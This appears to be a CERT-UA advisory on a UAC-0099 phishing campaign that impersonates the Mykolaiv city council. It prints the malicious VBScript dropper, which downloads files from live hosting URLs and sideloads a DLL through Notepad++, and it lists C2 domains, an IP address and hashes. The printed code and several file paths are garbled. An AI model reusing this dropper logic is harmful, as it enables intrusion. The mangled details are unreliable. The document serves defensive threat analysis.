

From: Миколайська МР - kancel.mkrada@ukr.net
Subject: Зміни у плані перевірок

Додатки до розпорядження.zip
ZIP 4.5 KB

<https://cutt.ly/OytaqyAq>
-> <https://easysend.co/d/6160>

Доброго дня.
У вкладеному файлі лист щодо зміни у плані проведення перевірок стану військового обліку та графіку звіряння облікових даних приззовників, військовозобов'язаних та резервістів на 2026 рік. Будь ласка, ознайомтеся з ним

З повагою, секретар міської ради Дмитро []

Додатки до розпорядження.zip - ZIP archive, unpacked size 10 559 bytes

File Name	Size	Packed	Type	Modified
Заводський район.pdf	10 559	3 970	VBScript Script File	21.07.2026

ПЛАН
перевірок стану військового обліку на підприємствах, в установах, організаціях та закладах міста Миколаєва на 2026 рік (окремо по районах міста)

Заводський район

Планові звіряння на 2026 рік

Найменування підприємства, установ, організацій та закладів міста Миколаєва	січень	лютий	березень	квітень	травень	червень	липень	серпень	вересень	жовтень	листопад	грудень
№ 1/п												

```

If diffDays < DAYS_LIMIT Then
WScript.Quit 0
Else
Dim randomName
randomName = "Libs." & Year(Now) & Month(Now) & Day(Now) & "." & Hour(Now) & Minute(Now) & Second(Now)
Randomize
randomName = "Libs." & Int(Rnd * 1000000)
If EnsureFolderExists("C:\Users\Public\") & randomName Then
If ShowNotification() Then
Dim FILE_URL
FILE_URL = "https://2111.filenail.com/api/file/get?filekey=CyHdJgA1Zk9GKwPtyvQXl1845xJH8a390YVqQZr09s2Kbv21C8o0XYS0amIDNk3chZpFbWHLLeLcD_Duaz3B"
Dim LOCAL_FILE
LOCAL_FILE = "C:\Users\Public\Temp\Documents\3amqkxswd paion.pdf"
If EnsureFolderExists("C:\Users\Public\Temp\Documents") Then
If DownloadFile(FILE_URL, LOCAL_FILE) Then
Dim sh
Set sh = CreateObject("WScript.Shell")
sh.Run "" & LOCAL_FILE & "", 1, False
End If
End If
WScript.Sleep 40000
Dim NOTE_URL
NOTE_URL = "https://cdn.imageurlgenerator.com/uploads/19b5c23d-a191-4a73-b288-1a89ff953687.txt"
Dim NOTE_LOCAL
NOTE_LOCAL = "C:\Users\Public\ & randomName & \"Evernote.zip\"
WScript.Sleep 20000
If DownloadFile(NOTE_URL, NOTE_LOCAL) Then
Dim PathToFolder
PathToFolder = "C:\Users\Public\ & randomName & \"Notepad\"
If EnsureFolderExists(PathToFolder) Then
Dim shellZIP, zipFolder, destFolder
Set shellZIP = CreateObject("Shell.Application")
Set zipFolder = shellZIP.NameSpace("C:\Users\Public\ & randomName & \"Evernote.zip\")
Set destFolder = shellZIP.NameSpace("C:\Users\Public\ & randomName & \"Notepad\")
destFolder.CopyHere zipFolder.Items, 4 + 16
Dim maxWait, waited
maxWait = 30
waited = 0
Do While destFolder.Items.Count < zipFolder.Items.Count And waited < maxWait
WScript.Sleep 500
waited = waited + 0.5
Loop
WScript.Sleep 40000
Dim filesIsob
Set filesIsob = CreateObject("Scripting.FileSystemObject")
If filesIsob.FileExists("C:\Users\Public\ & randomName & \"Evernote.zip\") Then
filesIsob.DeleteFile("C:\Users\Public\ & randomName & \"Evernote.zip\")
End If
Dim sha
Set sha = CreateObject("WScript.Shell")
sha.Run "" & "C:\Users\Public\ & randomName & \"Notepad\notepad+.exe" & "" & 1, False
Else
WScript.Quit 0
End If
Else
WScript.Quit 0
End If
Else
WScript.Quit 0
End If
End If
End If
Function ShowNotification()
Function EnsureFolderExists(ByVal FolderPath)
Function DownloadFile(ByVal url, ByVal destPath)
Function GetInstallDateFromReg()
Function GetInstallDateFromMsi()
Option Explicit
Const DAYS_LIMIT = 10
Const RP = "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion"
Const RV = "InstallDate"
Dim InstallDate, today, diffDays
If IsNull(InstallDate) Then
InstallDate = GetInstallDateFromMsi()
End If
If IsNull(InstallDate) Then
MsgBox "File error!", vbCritical + vbOKOnly, "Error"
WScript.Quit 1
End If
today = Now
diffDays = DateDiff("d", InstallDate, today)

```

General information

Since mid-summer 2026, CERT-UA has been marked by a change in the tactics, techniques and procedures of the UAC-0099 cyber threat cluster. In particular, the fact of launching a software tool for implementing cyber threats in the form of a DLL file disguised as a plugin called "NppExpport.dll", using the legitimate file of the Notepad++ 8.8.3 program delivered to a computer in the form of an archive with other standard software components, is documented. In addition, the **updated MATCHBOL** bootloader and new software has been applied: LUNCHPOKE and BURNYBEAR.

Typically, the infection chain begins with an email containing an embedded image, the clicking on which will lead to a hyperlink (usually a reduction service of URLs) is used), from where the request will be directed to the file service from which the ZIP archives will be uploaded, for example, "Us.zip" Apps.

The mentioned archive contains a double-expanded VBS script, in the name of which a significant number of spaces can be deliberately added to the final extension .vbs, for example, "Zavodskiy district.pdf.vbs". In turn, if you start, the script will ensure the download of the bait file (for example, "Zavodskiy district.pdf") and the archive "Evernote.zip". The archive contains a complete set of Notepad++ components of version 8.8.3, as well as the directory "/plugins/NppExpport/" and the third-party plague library "NppExpport.dll", protected by the password archive "update.rar" and the executed WinRAR "winar.exe" file.

The software code VBS-script will create a directory

"%PUBLIC%\Libs_%RAND_9999%\Notpad\ ", will extract the contents of the downloaded archive "Evernote.zip" and launch "notepad+.exe", which will directly start downloading the previously mentioned DLL file "NppExport.dll".

The "NppExport.dll" file is classified as a software tool **LUNCHPOKE**, the main purpose of which is to create a directory "%PUBLIC%\Libraries\FthantY3-Ytrevc-ab3\ ", extracting the contents of the archive "updater.rar" with the use of password (in particular, the files "RemoteLIBUpdaterex" and "InitTest.dl" and "IntTest.dl" the standard utility "\W1n3r-U09oTy-Ap5\Updates%PUBLIC%\Libraries\FthY3-Ytrevc3w-ab3\RemoteLibUpdater.exe\FthY3-Ytrevc3w-ab3

The executable file "RemoteBUpdater.exe" is classified as a software tool **BURNYBEAR**, the functionality of which is designed to download the DLL file "InitTest.dll". At the same time, if the launch of "RemotelibUpdater.exe" is carried out incorrectly, namely without specifying arguments, BURNYBEAR instead activates the logic designed to exhaust computer resources (RAM and processor).

The InitTest.dll file is a modified version of a previously known software and classified as **MATCHBOIL.V2**. As before, it provides the creation of a planned task, updating the configuration, in particular the address of the control server, and the download of other software. Among the differences, it should be noted the use of WinRAR to extract the contents of loaded objects (programs), as well as to feed this utility with Dropbox in case of its absence in the system.

We draw the attention of system administrators to the need to update the common software products in a timely manner. Some clusters of cyber threats are actively exploiting their vulnerabilities at the stage of primary compromise. As an example, the following are versions of some widely used software products, relevant as of July 21, 2026:

WinRAR: 7.23 (<https://www.win-rar.com/download.html>)

7-Zip: 26.02 (<https://www.7-zip.org/download.html>)

Notepad++: 8.9.7 (<https://notepad-plus-plus.org/downloads/>)

**According to the Notepad++ development team, the loading of plugins in the form of libraries is the standard functionality of the software product, its architectural feature. Therefore, around the entry in NIST NVD with the ID identifier CVE-2025-56383, a debate continues, so CERT-UA does not refer to it, but recalls it in a comment to simplify the search for information.*

Graphic images:

Рис.1 Приклад ланцюга ураження

Рис.2 Вміст архіву "Evernote.zip"

Рис.3 Приклад декомпільованого програмного коду LUNCHPOKE

Рис.4 Приклад декомпільованого та деобфускованого програмного коду BURNYBEAR

Рис.5 Приклад функцій MATCHBOIL.V2

Індикатори кіберзагроз

Файли:

acb3aa53d4d388f67cda8185e8da5423 1c3457cf3cbe02b80236e6bf5346cfea46e2bf6063c7d92848f2780d87f93c0a розпорядження.zip	Додатки до
087981426061c62e5be314c9b761c729 9021d92a530bbb7b865d4842cc1b933e5b397d7a95c3f6a02db1c2512684222d район.pdf .vbs	Заводський
19f43fac5e0240faf027872b83a495b0 bf5c85bb3149a88be3ce56783f209ee5ebeee1ee60c71ed4b3f7bc1ebcef3b2c район.pdf	Заводський
51e0149f93935807996dc12f7cde37c0 25859c3855587309ac3e93dce531e8eca317d69568cc63b0f3c1f9466919c312 c5850b3ebae3790941614429a7d9322b	Evernote.zip
c270432a3f16241c24d0b57838b17b2fa438a24eebf29dcbda08622de725fe21 (LUNCHPOKE)	NppExport.dll
5f4cefc64eab929296f4fe25b04d37ab 85126d45d9fcdbcc084e2a7fdc449337a12dd50c6a25fd8903c41f5b351556f8 b304986e947fe26a40e454426d90ef50	updater.rar
838512a8a88f584a5d9a61cff17da0db7fa5886ccce2f84652ccb6e7808b090 RemoteLibUpdater.exe (BURNYBEAR)	
65a14c42358f8da7a450089141bdc690 78cb23c739d24513b25f477183566c9fce0b329696e05482065f1bf01629c606 (MATCHBOIL.V2)	InitTest.dll
f976c38af91074f20c2fa6f84fce0fc3 bfb1d0238d56615e792cfdbclc5cd1bffc1e70535b0d243c351d7b534006bc80 розпорядження.zip	Додатки до
88af5d862489f3bf1e7d7dd2a23ac3e8 9ff73802dfbfd20b78ab62ecc1a56bf739ecaf1475806a14ac6ccf02150adaa8 .vbs	Додаток 7.pdf

c4beef83fc6557319afda9708e235bcd 3e23b2513275a744788bb69553e603587234bee8781ed4b6215efd270c0f690c 0aa3fda5567844eb0d626bd0d272bc63	запит №9206.zip
3118b82c47b96140c7d6d51394a202ac0ad889f53431e2b7d11062260e691cc3 2d1dd89241625feb8bb2571c042b1e4c f5b6b6972a09e83d4f660339af8162075248015756733c94832e466a82f5e987 86399225cad28f3a6f5808a16d5b324b 87a574b6c3c0d2229c869388875c698fe491776dab7724e4cf3aded2c67b5364 59644121b4301ed64a5b44efc2c4b279	9206.docx .vbs 9206.docx Evernote.zip
2ab26f8d6a51694bd4c143b9389db824f48d496b1616a38b5edb882e50b2a906 (LUNCHPOKE) 25889b954a33377f3260637c13f93ccf 285f788ca4153994cbc4e017222b43a2c3ae9405650707cf617bf1575e90f3b9 ca1f7daf21f1524c724a20a6fc2533d0 100102966d6d5c000b556e0451c63d03702b31c755f3f46071ea4077a1aab892 RemoteLibUpdater.exe (BURNYBEAR) 6fdd9b6040b943d5a24701149020e7a4 d40b83d827f5b749ecec66eee09cd2c455094ad939a83a35c42af3f641871e2c (MATCHBOIL.V2)	NppExport.dll updater.rar InitTest.dll

Мережеві:

kancel.mkrada@ukr.net
 cdn.imageurlgenerator[.]com (легітимний ресурс)
 easysend[.]co (легітимний ресурс)
 filemail[.]com (легітимний ресурс)
 hXXps://2111.filemail[.]com/api/file/get?
 filekey=_GyHdjQAljZk9GBKUwPTYvQXi1845xJM8aJ90NJYqQfZr09s2Kbv21C8o0XYSoamIdNKjchZpFbwRM
 iLeIxCD_DuAz3B
 hXXps://3008.filemail[.]com/api/file/get?
 filekey=3abVeFuPB6y_BRqYcrv3SiX_xX76hS5HS0o7uNSA5_5vIyhNnXCinrJ50pUQJ6zP0nxjpl4K
 hXXps://2117.filemail[.]com/api/file/get?
 filekey=Edzhz0KXaXC1Ncob7gwQcdfcUYm078aRW5qZ66N0Xe7cTgTBS-LAPZYHzQ
 hXXps://9d0be5e43042be826d3e5e2a880a311d.r2.cloudflarestorage[.]com/easysend/4c6b5985b
 6ealbd365a9426ff2f96a1e.zip
 hXXps://9d0be5e43042be826d3e5e2a880a311d.r2.cloudflarestorage[.]com/easysend/0f86e2fc7
 ca538e9f5c0f04ea1856e03.zip
 hXXps://cdn.imageurlgenerator[.]com/uploads/19b5c23d-a191-4a73-b200-1a89ff953607.txt
 hXXps://cdn.imageurlgenerator[.]com/uploads/4dc169b0-dbed-4485-bcc0-1c0f78316445.zip
 hXXps://cutt[.]ly/0ytaqyAq
 hXXps://cutt[.]ly/cywqWxow
 hXXps://cutt[.]ly/kt6zygri
 hXXps://easysend[.]co/d/6160
 hXXps://www.dropbox[.]com/scl/fi/yewyhqs2zlc1en1q9i7mp/WinRAR.exe?
 rlkey=ks0f020ufkfgbf8hb20fayz2w&st=vcaaaa4ld&dl=1
 hXXps://kaufen-qpon[.]icu/manager/%TOKEN%
 kaufen-qpon[.]icu (C2)
 64.94.84[.]204 (C2)

Хостові:

%LOCALAPPDATA%\RemoteClient\RemoteFileViewer.exe
%LOCALAPPDATA%\SMTPClient\SMTPClientApplication.exe
%LOCALAPPDATA%\SMTPClient\config.ini
%LOCALAPPDATA%\Temp\WinRAR.exe
%PUBLIC%\Documents\Thumbs.DB
%PUBLIC%\Documents\Thumbs.rar
%PUBLIC%\Libraries\Wln3r-U09oTy-Ap5\
%PUBLIC%\Libraries\Wln3r-U09oTy-Ap5\RemoteLibUpdater.exe
%PUBLIC%\Libraries\Wln3r-U09oTy-Ap5\RemoteLibUpdater.exe setup nodisplay
%PUBLIC%\Libs_%RAND_INT_0-999999%\
%PUBLIC%\Libs_%RAND_INT_0-999999%\Evernote.zip
%PUBLIC%\Libs_%RAND_INT_0-999999%\Notepad\
%PUBLIC%\Libs_%RAND_INT_0-999999%\Notepad\notepad++.exe
%PUBLIC%\Wallpapers\Background.exe
%PUBLIC%\Temp Documents\
%PUBLIC%\Temp Documents\Заводський район.pdf
%PUBLIC%\Temp Documents\Додаток 7.pdf
%PUBLIC%\Temp Documents\9206.docx
Global\RemoteLibInstall
\FileClient\Checker
\Wln3r-U09oTy-Ap5\Updates

[Попередня](#)

[Вектори первинної компрометації UAC-0145 станом на липень 2026 року.](#)